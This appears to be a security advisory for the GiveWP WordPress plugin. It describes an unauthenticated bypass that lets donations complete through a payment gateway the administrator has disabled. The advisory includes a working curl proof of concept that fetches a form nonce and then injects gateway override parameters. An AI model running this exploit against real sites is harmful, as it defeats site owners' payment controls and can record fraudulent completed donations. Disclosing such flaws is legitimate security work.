GiveWP < 4.16.3 – Unauthenticated Payment Gateway Restriction Bypass | CVE 2026-14317

Description

The plugin does not restrict the set of available payment gateways to those enabled by the administrator, deriving it in part from request input, which allows unauthenticated users to complete donations through a payment gateway the administrator has disabled.

Proof of Concept

A published donation form exists (id=4) that allows the bundled manual/offline gateway to complete; the admin has that gateway disabled.

# Obtain the donation-form nonce
NONCE=$(curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=give_donation_form_nonce&give_form_id=4' \
  | sed -n 's/.*"data":"\([a-f0-9]*\)".*/\1/p')

# Complete a donation through the admin-DISABLED "manual" gateway by adding the override
curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=give_process_donation' --data-urlencode 'give_action=purchase' \
  --data-urlencode 'give-form-id=4' --data-urlencode "give-form-hash=$NONCE" \
  --data-urlencode 'give-amount=25.00' --data-urlencode 'give-price-id=0' \
  --data-urlencode 'give_first=Attacker' --data-urlencode 'give_last=Bypass' \
  --data-urlencode 'give_email=a@test.tld' --data-urlencode 'give-gateway=manual' \
  --data-urlencode 'give_ajax=1' \
  --data-urlencode 'gateways[manual]=1' --data-urlencode 'gateways_v3[manual]=1'

# => passes gateway validation and a give_payment row status=publish gateway=manual is written.
# The identical request WITHOUT the two gateways[...] params returns:
#   "Error: The selected payment gateway is not enabled."